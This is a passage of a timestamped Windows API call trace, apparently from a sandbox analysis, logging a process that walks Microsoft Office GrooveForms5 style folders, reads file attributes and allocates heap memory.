ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.564] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f138 [0069.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10400e8 [0069.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3b80) returned 0x1071708 [0069.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.565] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f158 [0069.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10401f0 [0069.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.565] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f178 [0069.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10402f8 [0069.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.566] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.566] GetLastError () returned 0x12 [0069.566] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.566] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.566] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.566] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.566] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.566] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.566] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.566] GetLastError () returned 0x12 [0069.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.566] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.566] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="")) returned 1 [0069.566] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenTea.css", cAlternateFileName="")) returned 1 [0069.566] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightSpirit.css", cAlternateFileName="")) returned 1 [0069.567] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime", cAlternateFileName="")) returned 1 [0069.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0069.567] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1075290 [0069.568] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1075290, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1075290, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.568] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1075290) returned 1 [0069.568] NtClose (Handle=0x190) returned 0x0 [0069.568] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.568] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.568] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.568] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.568] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f198 [0069.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040400 [0069.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.569] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f1b8 [0069.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040508 [0069.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.570] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.570] GetLastError () returned 0x12 [0069.570] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.570] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.570] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.570] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.570] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.570] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.570] GetLastError () returned 0x12 [0069.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.570] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.570] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0069.570] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x715, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maroon.css", cAlternateFileName="")) returned 1 [0069.570] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis", cAlternateFileName="")) returned 1 [0069.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.571] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1075290 [0069.571] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1075290, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1075290, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1075290) returned 1 [0069.572] NtClose (Handle=0x18c) returned 0x0 [0069.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.572] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.572] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.572] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.572] 